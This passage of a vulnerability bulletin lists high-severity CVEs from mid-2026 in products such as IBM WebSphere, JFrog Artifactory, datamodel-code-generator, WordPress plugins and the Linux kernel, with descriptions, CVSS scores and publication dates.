| IBM--WebSphere Application Server                 | IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is vulnerable to HTTP request smuggling.                                                                                                         | 2026-07-28 | 7.4        | <a href="#">CVE-2026-15328</a> |
| IBM--WebSphere Application Server                 | IBM WebSphere Application Server 9.0, and 8.5 could allow a remote attacker to bypass authentication by sending a crafted unauthenticated request.                                                                                                                      | 2026-07-28 | 7          | <a href="#">CVE-2026-16184</a> |
| IBM--WebSphere Application Server                 | IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 are vulnerable to a denial of service via a crafted HTTP request.                                                                                | 2026-07-30 | 7.5        | <a href="#">CVE-2026-9322</a>  |
| IBM--WebSphere Application Server - Liberty       | IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.8 is vulnerable to cross-site request forgery which could allow an attacker to perform SSRF attacks with elevated privileges when the collectiveController-1.0 feature is enabled.                   | 2026-07-30 | 8.3        | <a href="#">CVE-2026-14980</a> |
| IBM--WebSphere Application Server - Liberty       | IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is vulnerable to a denial of service, caused by sending a specially crafted request. A remote attacker could exploit this vulnerability to cause the server to consume memory resources.           | 2026-07-30 | 7.5        | <a href="#">CVE-2026-11897</a> |
| IBM--WebSphere Application Server - Liberty       | IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.8 is affected by remote code execution with the collectiveController-1.0 feature enabled.                                                                                                            | 2026-07-28 | 7.1        | <a href="#">CVE-2026-14976</a> |
| IBM--WebSphere Application Server - Liberty       | IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is vulnerable to a denial of service due to uncontrolled heap allocation.                                                                                                                          | 2026-07-28 | 7.5        | <a href="#">CVE-2026-15057</a> |
| IBM--WebSphere Application Server - Liberty       | IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.8 ND Collective Controller is affected by a path-segment injection vulnerability in the collective routing mechanism.                                                                                | 2026-07-28 | 7.5        | <a href="#">CVE-2026-15280</a> |



# High Vulnerabilities

| Primary Vendor -- Product                                                          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| IBM--WebSphere Application Server - Liberty                                        | IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.8 is affected by a denial of service vulnerability when the restConnector-2.0 feature is enabled.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-28 | 7.1        | <a href="#">CVE-2026-16192</a> |
| Innotim Software, Telecommunicatio ns and Consulting Trade Ltd. Co.-- Logsign SIEM | Improper Control of Generation of Code ('Code Injection') vulnerability in Innotim Software, Telecommunications and Consulting Trade Ltd. Co. Logsign SIEM allows Code Injection. This issue affects Logsign SIEM: before 6.4.108.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-31 | 9.8        | <a href="#">CVE-2026-17561</a> |
| JetBrains--TeamCity                                                                | In JetBrains TeamCity before 2026.1.3, 2025.11.7 unauthenticated remote code execution was possible via the agent polling protocol                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-27 | 9.8        | <a href="#">CVE-2026-63077</a> |
| jfrog--artifactory                                                                 | JFrog Artifactory (Self Hosted) versions before 7.133.11 are vulnerable to a privilege escalation attack due to a validation check of the token signature/issuer and not the token's scope.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-27 | 8.1        | <a href="#">CVE-2026-42016</a> |
| jfrog--artifactory                                                                 | An event-handling weakness in JFrog Artifactory could expose privileged authorization material to a lower-privileged user under specific conditions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-27 | 8.8        | <a href="#">CVE-2026-42017</a> |
| jfrog--artifactory                                                                 | Incorrect authorization validation in refresh token signature allows non-admin users to obtain a signed JFrog administrator token.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-27 | 8.8        | <a href="#">CVE-2026-65616</a> |
| jfrog--artifactory                                                                 | A deserialization weakness in JFrog Artifactory package handling could allow a low-privileged user to impact confidentiality, integrity, and availability under specific repository conditions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-27 | 8.8        | <a href="#">CVE-2026-65617</a> |
| jfrog--artifactory                                                                 | A path validation weakness in archive extraction/write handling allows entries with traversal sequences to be written outside the intended build artifacts location.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-27 | 8.8        | <a href="#">CVE-2026-65921</a> |
| jfrog--artifactory                                                                 | JFrog Artifactory contains an authentication handling weakness in internal request processing that, under specific conditions, may allow an attacker to escalate privileges beyond the intended access level.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-27 | 8.8        | <a href="#">CVE-2026-66014</a> |
| jfrog--artifactory                                                                 | An authorization weakness in JFrog Artifactory internal metadata handling could allow a user with limited repository access to write to restricted internal metadata areas under specific conditions. Successful abuse is limited to integrity and availability impact at a low level; confidentiality is not affected.                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-27 | 7.1        | <a href="#">CVE-2026-65922</a> |
| jfrog--artifactory                                                                 | An authenticated privilege-escalation vulnerability in JFrog Platform may be exploited under admin-provisioned account conditions. Successful exploitation may grant temporary platform administrator access.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-27 | 7.2        | <a href="#">CVE-2026-66015</a> |
| igwhite33--WP Google Review Slider                                                 | Administrator SQL Injection in WP Google Review Slider <= 18.4 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-27 | 7.6        | <a href="#">CVE-2026-66427</a> |
| John Darrel--Hide My WP Ghost                                                      | Subscriber Broken Authentication in Hide My WP Ghost <= 7.0.06 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-27 | 7.4        | <a href="#">CVE-2026-59546</a> |
| juev--nebula-mesh                                                                  | Nebula Mesh is a self-hosted control plane for the Slack Nebula mesh VPN. In versions 0.3.5 and below, the web UI (/ui/*) does not apply the per-operator CA scoping employed by the JSON API. This was partially addressed by GHSA-598g-h2vc-h5vg, but the changes were not implemented in the web read/mutation surface. Any authenticated non-admin operator (for example, one created via self-registration or OIDC) can access resources belonging to other operators. The host create/edit/mobile-bundle/network-create paths and all CA-management routes were already correctly scoped. A malicious operator could block or delete any other operator's host, or read any operator's hosts and networks. This issue has been fixed in version 0.3.6. | 2026-07-28 | 8.8        | <a href="#">CVE-2026-49258</a> |
| julep-ai--julep                                                                    | Julep contains an insecure direct object reference vulnerability in the get_execution_details endpoint that allows authenticated tenants to read another tenant's execution data. Attackers can supply arbitrary execution_id values to retrieve sensitive execution records including task inputs, outputs, metadata, and temporal task tokens from other tenants.                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-30 | 8.1        | <a href="#">CVE-2026-67348</a> |
| Kanboard--Kanboard                                                                 | Kanboard 1.2.52 and prior contains a server-side request forgery vulnerability that allows authenticated users to bypass SSRF protections by supplying hexadecimal IP address notation in user-controlled URLs. Attackers can submit hexadecimal-encoded internal IP addresses through the web link creation feature, causing cURL to resolve and connect to internal network resources such as cloud instance metadata services, localhost services, and RFC1918 addresses while the isPrivateURL() filter in app/Core/Http/Client.php incorrectly treats the input as safe due to FILTER_VALIDATE_IP rejecting non-dotted-decimal notation.                                                                                                                | 2026-07-30 | 8.5        | <a href="#">CVE-2026-57862</a> |
| Kofi Mokome--Message Filter for Contact Form 7                                     | Unauthenticated Cross Site Scripting (XSS) in Message Filter for Contact Form 7 <= 1.6.3.9 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-27 | 7.1        | <a href="#">CVE-2026-65438</a> |



# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| koxudaxi--datamodel-code-generator | datamodel-code-generator generates Pydantic v2 models, dataclasses, TypedDict, and msgspec.Struct from OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON, YAML, or CSV. From 0.17.0 until 0.60.2, datamodel-code-generator preserves attacker-controlled default_factory values in src/datamodel_code_generator/parser/jonschema.py through JsonSchemaObject.init and get_field_extras and emits them into Field(default_factory=...) or field(default_factory=...), allowing Python expression execution when the generated model is imported. This issue is fixed in version 0.60.2.                                                                                                                                                                                                                                      | 2026-07-28 | 8.8        | <a href="#">CVE-2026-54653</a> |
| koxudaxi--datamodel-code-generator | datamodel-code-generator generates Pydantic v2 models, dataclasses, TypedDict, and msgspec.Struct from OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON, YAML, or CSV. From 0.9.1 until 0.61.0, datamodel-code-generator silently dereferences attacker-controlled JSON Schema \$ref HTTP or HTTPS URLs in src/datamodel_code_generator/parser/jonschema.py through _get_ref_body, and the --allow-remote-refs gate can warn instead of blocking, allowing server-side request forgery through src/datamodel_code_generator/http.py. This issue is fixed in version 0.61.0.                                                                                                                                                                                                                                                | 2026-07-28 | 8.2        | <a href="#">CVE-2026-54690</a> |
| koxudaxi--datamodel-code-generator | datamodel-code-generator generates Python data models from schema definitions. From 0.9.1 until 0.61.0, src/datamodel_code_generator/http.py http.get_body accepts --url targets and redirect chain targets without host/IP validation, allowing server-side request forgery against loopback, private, link-local, metadata, and other network-accessible resources. This issue is fixed in version 0.61.0.                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-28 | 8.2        | <a href="#">CVE-2026-54691</a> |
| koxudaxi--datamodel-code-generator | datamodel-code-generator generates Python data models from schema definitions. Prior to 0.60.1, GraphQL Union description values in src/datamodel_code_generator/model/template/UnionTypeStatement.jinja2 and src/datamodel_code_generator/model/template/UnionTypeStatement.py312.jinja2 are rendered into Python comments without neutralizing carriage returns in Python # comments, allowing attacker-controlled GraphQL schema content to inject Python code into generated models that runs when imported. This issue is fixed in version 0.60.1.                                                                                                                                                                                                                                                                               | 2026-07-28 | 7.8        | <a href="#">CVE-2026-54621</a> |
| koxudaxi--datamodel-code-generator | datamodel-code-generator generates Python data models from schema definitions. From 0.14.1 until 0.60.2, the --extra-template-data comment field is rendered into Python comments in src/datamodel_code_generator/model/template/TypeAliasAnnotation.jinja2, src/datamodel_code_generator/model/template/TypedDict.jinja2, src/datamodel_code_generator/model/template/dataclass.jinja2, src/datamodel_code_generator/model/template/msgspec.Struct.jinja2, src/datamodel_code_generator/model/template/pydantic/BaseModel.jinja2, and src/datamodel_code_generator/model/template/pydantic_v2/BaseModel.jinja2 without neutralizing carriage returns in Python # comments, allowing an attacker-controlled comment value to inject Python code into generated models that runs when imported. This issue is fixed in version 0.60.2. | 2026-07-28 | 7.8        | <a href="#">CVE-2026-54654</a> |
| koxudaxi--datamodel-code-generator | datamodel-code-generator generates Python data models from schema definitions. From 0.51.0 until 0.60.2, x-python-type values parsed by src/datamodel_code_generator/parser/jonschema.py in _get_python_type_override are inserted into generated field annotations without sufficient validation, allowing attacker-controlled JSON Schema content to execute Python code when the generated module is imported. This issue is fixed in version 0.60.2.                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-28 | 7.8        | <a href="#">CVE-2026-54655</a> |
| koxudaxi--datamodel-code-generator | datamodel-code-generator generates Pydantic v2 models, dataclasses, TypedDict, and msgspec.Struct from OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON, YAML, or CSV. From 0.52.1 until 0.60.2, datamodel-code-generator interpolates validators from --extra-template-data in src/datamodel_code_generator/model/pydantic_v2/base_model.py through _process_validators into @field_validator decorators without safe validation, allowing Python code execution when the generated Pydantic v2 model is imported. This issue is fixed in version 0.60.2.                                                                                                                                                                                                                                                                 | 2026-07-28 | 7.8        | <a href="#">CVE-2026-54656</a> |
| koxudaxi--datamodel-code-generator | datamodel-code-generator generates Pydantic v2 models, dataclasses, TypedDict, and msgspec.Struct from OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON, YAML, or CSV. Prior to 0.62.0, datamodel-code-generator resolves JSON Schema \$ref targets in src/datamodel_code_generator/parser/jonschema.py through is_url and _get_ref_body without containing file:// or ../ traversal references to the input directory and without honoring --no-allow-remote-refs, allowing arbitrary local file reads. This issue is fixed in version 0.62.0.                                                                                                                                                                                                                                                                            | 2026-07-28 | 7.5        | <a href="#">CVE-2026-55389</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| koxudaxi--datamodel-code-generator                              | datamodel-code-generator generates Python data models from schema definitions. From 0.59.0 until 0.62.0, XML Schema parsing in src/datamodel_code_generator/parser/xmlschema.py for --input-file-type xmlschema resolves xs:include, xs:import, xs:redefine, and xs:override schemaLocation values outside the input base path, allowing arbitrary local files to be read and reflected into generated models. This issue is fixed in version 0.62.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-28 | 7.5        | <a href="#">CVE-2026-55390</a> |
| koxudaxi--datamodel-code-generator                              | datamodel-code-generator generates Pydantic v2 models, dataclasses, TypedDict, and msgspec.Struct from OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON, YAML, or CSV. Prior to 0.63.0, datamodel-code-generator validates a URL host once in src/datamodel_code_generator/http.py through get_body, _validate_url_for_fetch, and _get_ips_from_host, but then lets httpx resolve the host again for the connection, allowing DNS rebinding to bypass allow_private_network=False and reach internal services. This issue is fixed in version 0.63.0.                                                                                                                                                                                                                                                                                                                                       | 2026-07-28 | 7.5        | <a href="#">CVE-2026-55391</a> |
| koxudaxi--datamodel-code-generator                              | datamodel-code-generator generates Pydantic v2 models, dataclasses, TypedDict, and msgspec.Struct from OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON, YAML, or CSV. From 0.11.6 until 0.64.0, datamodel-code-generator allows attacker-controlled x-python-import or customTypePath schema extensions to reach src/datamodel_code_generator/parser/jsonschema.py and generated import handling through Import.from_full_path and Imports.create_line in src/datamodel_code_generator/imports.py, allowing a newline to break out of an import statement and execute Python code when the generated model is imported. This issue is fixed in version 0.64.0.                                                                                                                                                                                                                             | 2026-07-28 | 7.5        | <a href="#">CVE-2026-55415</a> |
| kube-logging--logging-operator                                  | Logging operator automates the deployment and configuration of Kubernetes logging pipelines. Prior to 6.6.0, the Fluentd configuration renderer FluentRender in pkg/sdk/logging/model/render/fluent.go writes CRD strings such as Flow record_transformer.records values directly into fluent.conf without escaping, allowing a user who can create Flow resources to inject a Fluentd <match *> block using @type exec and execute arbitrary commands inside the Fluentd aggregator. This issue is fixed in version 6.6.0.                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-29 | 9.9        | <a href="#">CVE-2026-54680</a> |
| kyegomez--swarms                                                | Swarms through 6.8.1, fixed in commit 8b0fc9e, contains a server-side request forgery vulnerability in the _is_safe_url function that fails to validate hostnames through DNS resolution, allowing attackers to bypass the blacklist. Attackers can supply user-controlled image or audio URLs that resolve to private, loopback, or metadata addresses to reach internal services and exfiltrate credentials.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-30 | 8.6        | <a href="#">CVE-2026-67346</a> |
| ladela--Online Scheduling and Appointment Booking System Bookly | The Online Scheduling and Appointment Booking System - Bookly plugin for WordPress is vulnerable to time-based SQL Injection via the 'staff_ids' parameter in all versions up to, and including, 27.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires a two-request chain: an attacker first calls the unauthenticated bookly_get_form_id action to seed a booking session carrying malicious staff_ids values, then triggers bookly_render_time to cause the tainted array to reach the vulnerable query; CSRF/nonce validation is absent on both endpoints, meaning this chain can be initiated cross-site. | 2026-07-28 | 7.5        | <a href="#">CVE-2026-14516</a> |
| laughingman7743--PyAthena                                       | PyAthena prior to 3.35.4 contains a sql injection vulnerability that allows unauthenticated attackers to inject arbitrary SQL by exploiting improper quote-escaping in DefaultParameterFormatter.format(), which routes DELETE and CTAS statements to the _escape_hive function that backslash-escapes single quotes rather than doubling them. Because Athena and Trino do not treat backslashes as escape characters inside string literals, attacker-supplied input such as a single quote followed by SQL syntax causes the parser to terminate the string literal prematurely, enabling data exfiltration via UNION SELECT, execution of destructive statements, and attacker-controlled CTAS destination and content.                                                                                                                                                                            | 2026-08-02 | 9.8        | <a href="#">CVE-2026-65321</a> |
| Leantime--Leantime                                              | Leantime 3.6.2 contains a server-side request forgery and local file inclusion vulnerability that allows authenticated attackers to read internal resources by passing unsanitized user-supplied filenames to file_get_contents() in the Blueprints::import() method without path validation. Attackers can submit crafted filenames containing URL wrappers or path traversal sequences through the JSON-RPC API endpoint to access cloud metadata services or read arbitrary files from the server filesystem.                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-30 | 8.5        | <a href="#">CVE-2026-66415</a> |
| Leantime--Leantime                                              | Leantime 3.6.2 contains a cross-site request forgery vulnerability that allows unauthenticated attackers to perform state-changing actions on behalf of                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-30 | 8.8        | <a href="#">CVE-2026-66416</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | authenticated users by excluding the Laravel VerifyCsrfToken middleware from the global middleware stack in app/Http/Kernel.php. Attackers can craft malicious pages delivered via phishing emails or malicious websites to trigger unauthorized POST, PUT, and DELETE requests that create or delete projects, modify settings, and change permissions as any authenticated user.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |            |            |                                |
| Lenze--c430               | Multiple Lenze products are affected by an improper signature verification vulnerability in the SSH enablement mechanism. A low-privileged local attacker can bypass verification of the SSH enable file signature and enable SSH access on the device. Successful exploitation may result in unauthorized administrative access and complete system compromise.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-27 | 7.8        | <a href="#">CVE-2026-14837</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: nvmet-tcp: check INIT_FAILED before nvmet_req_uninit in digest error path In nvmet_tcp_try_rcv_ddgst(), when a data digest mismatch is detected, nvmet_req_uninit() is called unconditionally. However, if the command arrived via the nvmet_tcp_handle_req_failure() path, nvmet_req_init() had returned false and percpu_ref_tryget_live() was never executed. The unconditional percpu_ref_put() inside nvmet_req_uninit() then causes a refcount underflow, leading to a WARNING in percpu_ref_switch_to_atomic_rcu, a use-after-free diagnostic, and eventually a permanent workqueue deadlock. Check cmd->flags & NVMET_TCP_F_INIT_FAILED before calling nvmet_req_uninit(), matching the existing pattern in nvmet_tcp_execute_request().                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-27 | 9.8        | <a href="#">CVE-2026-64534</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: nvmet-tcp: Fix potential UAF when ddgst mismatch Shivam Kumar found via vulnerability testing: When data digest is enabled on an NVMe/TCP connection and a digest mismatch occurs on a non-final H2C_DATA PDU during an R2T-based data transfer, the digest error handler in nvmet_tcp_try_rcv_ddgst() calls nvmet_req_uninit() - which performs percpu_ref_put() on the submission queue - but does NOT mark the command as completed. It does not set cq->status, does not modify rbytes_done, and does not clear any flag. When the subsequent fatal error triggers queue teardown, nvmet_tcp_uninit_data_in_cmds() iterates all commands, checks nvmet_tcp_need_data_in() for each one, and finds that the already-uninitiated command still appears to need data (because rbytes_done < transfer_len and cq->status == 0). It therefore calls nvmet_req_uninit() a second time on the same command - a double percpu_ref_put against a single percpu_ref_get.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-27 | 9.8        | <a href="#">CVE-2026-64535</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: net/smc: fix UAF in smc_cdc_rx_handler() by pinning the socket smc_cdc_rx_handler() looks up the connection by token under the link group's conns_lock, drops the lock, and then dereferences conn and the smc_sock derived from it, ending in sock_hold(&smc->sk) inside smc_cdc_msg_rcv(). No reference is held across the lock release. The only reference pinning the socket while the connection is discoverable in the link group is taken in smc_lgr_register_conn() (sock_hold) and dropped in __smc_lgr_unregister_conn() (sock_put), both under conns_lock. Once the handler drops conns_lock, a concurrent close() -> smc_release() -> smc_conn_free() -> smc_lgr_unregister_conn() can drop that reference and free the smc_sock, so the handler's later sock_hold() runs on freed memory: WARNING: lib/refcount.c:25 at refcount_warn_saturate Workqueue: rxwq do_work refcount_warn_saturate (lib/refcount.c:25) smc_cdc_msg_rcv (net/smc/smc_cdc.c:430) smc_cdc_rx_handler (net/smc/smc_cdc.c:502) smc_wr_rx_tasklet_fn (net/smc/smc_wr.c:445) tasklet_action_common (kernel/softirq.c:938) handle_softirqs (kernel/softirq.c:622) Kernel panic - not syncing: panic_on_warn set Only SMC-R is affected. The SMC-D receive tasklet is stopped by tasklet_kill(&conn->rx_tasklet) in smc_conn_free() before the connection is unregistered, so it cannot run concurrently with the free. Take the socket reference while still holding conns_lock, so the registration reference can no longer be the last one, and drop it once the handler is done. | 2026-07-27 | 9.8        | <a href="#">CVE-2026-64541</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: sctp: validate STALE_COOKIE cause length before reading staleness When an ERROR chunk with a STALE_COOKIE cause is received in the COOKIE_ECHOED state, sctp_sf_do_5_2_6_stale() reads the 4-byte Measure of Staleness that follows the cause header: err = (struct sctp_errhdr *) (chunk->skb->data); stale = ntohs((__be32 *) ((u8 *) err + sizeof(*err))); err is the first cause in the chunk, not the STALE_COOKIE cause that caused the dispatch, and nothing guarantees the staleness field is present. sctp_walk_errors() only requires a cause to be as long as the 4-byte header, so for a STALE_COOKIE cause of length 4 the read runs past the cause, and for a minimal ERROR chunk past skb->tail. The value is echoed to the peer in the Cookie Preservative of the reply INIT, leaking uninitialized memory.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-27 | 9.1        | <a href="#">CVE-2026-64551</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | sctp_sf_cookie_echoed_err() already walks to the STALE_COOKIE cause, so check its length there and pass it to sctp_sf_do_5_2_6_stale(), which reads that cause instead of the first one. A STALE_COOKIE cause too short to hold the staleness field is discarded. The read is reachable by any peer that can drive an association into COOKIE_ECHOED, including an unprivileged process using a raw SCTP socket in a user and network namespace.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix OOB reads in is_ap_in_tkip() IE loop The loop in is_ap_in_tkip() iterates over IEs without verifying that enough bytes remain before dereferencing the IE header or its payload: - pIE->element_id and pIE->length are read without checking that i + sizeof(*pIE) <= ie_length, so a truncated IE at the end of the buffer causes an OOB read. - For WLAN_EID_VENDOR_SPECIFIC the code compares pIE->data + 12, which requires pIE->length >= 16. For WLAN_EID_RSN it compares pIE->data + 8, requiring pIE->length >= 12. Neither requirement is checked. Add the missing IE header and payload bounds checks and guard each data access with an explicit pIE->length minimum, matching the pattern established in update_beacon_info().                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-27 | 8.1        | <a href="#">CVE-2026-64536</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: usbnet: gl620a: fix out-of-bounds read in genelink_rx_fixup() genelink_rx_fixup() splits an aggregated RX frame into its individual packets, using a per-packet length taken from device-supplied data. That length is only bounded by GL_MAX_PACKET_LEN (1514); it is never compared against how many bytes were actually received. A malicious GeneLink (GL620A) device can therefore send a short URB whose header claims packet_count > 1 and a first packet of up to 1514 bytes. skb_put_data(gl_skb, packet->packet_data, size); then copies past the end of the receive buffer and hands the adjacent slab contents up the network stack, an out-of-bounds read that leaks kernel heap. No privilege is required: the path runs in the usbnet RX softirq as soon as the interface is up. BUG: KASAN: slab-out-of-bounds in genelink_rx_fixup (drivers/net/usb/gl620a.c:112) Read of size 1514 at addr ffff888011309708 by task ksoftirqd/0/14 Call Trace: ... __asan_memcpy (mm/kasan/shadow.c:105) genelink_rx_fixup (include/linux/skbuff.h:2814 drivers/net/usb/gl620a.c:112) usbnet_bh (drivers/net/usb/usbnet.c:572 drivers/net/usb/usbnet.c:1589) process_one_work (kernel/workqueue.c:3322) bh_worker (kernel/workqueue.c:3405) tasklet_action (kernel/softirq.c:965) handle_softirqs (kernel/softirq.c:622) run_ksoftirqd (kernel/softirq.c:1076) ... skb_pull() already verifies that the requested length fits the buffer and returns NULL otherwise. Move it ahead of the copy and check its result, so a packet that overruns the received data is rejected before it is read. Well-formed frames, whose packets are fully present, are unaffected. | 2026-07-27 | 8.1        | <a href="#">CVE-2026-64540</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: net: usb: net1080: validate packet_len before pad-byte access in rx_fixup For an even packet_len, net1080_rx_fixup() reads the pad byte at skb->data[packet_len] before the skb->len != packet_len check further down, and packet_len is only bounded against NC_MAX_PACKET. A malicious NetChip 1080 device can send a short frame advertising a large even packet_len (e.g. 0x4000), so the pad-byte read lands past the end of the skb: BUG: KASAN: slab-out-of-bounds in net1080_rx_fixup Read of size 1 at addr ffff8880106c83c6 by task ksoftirqd/0/14 ... net1080_rx_fixup (drivers/net/usb/net1080.c:384) usbnet_bh (drivers/net/usb/usbnet.c:1589) process_one_work (kernel/workqueue.c:3322) bh_worker (kernel/workqueue.c:3708) tasklet_action (kernel/softirq.c:965) handle_softirqs (kernel/softirq.c:622) ... Reject the frame when packet_len >= skb->len before reading.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-27 | 8.1        | <a href="#">CVE-2026-64547</a> |
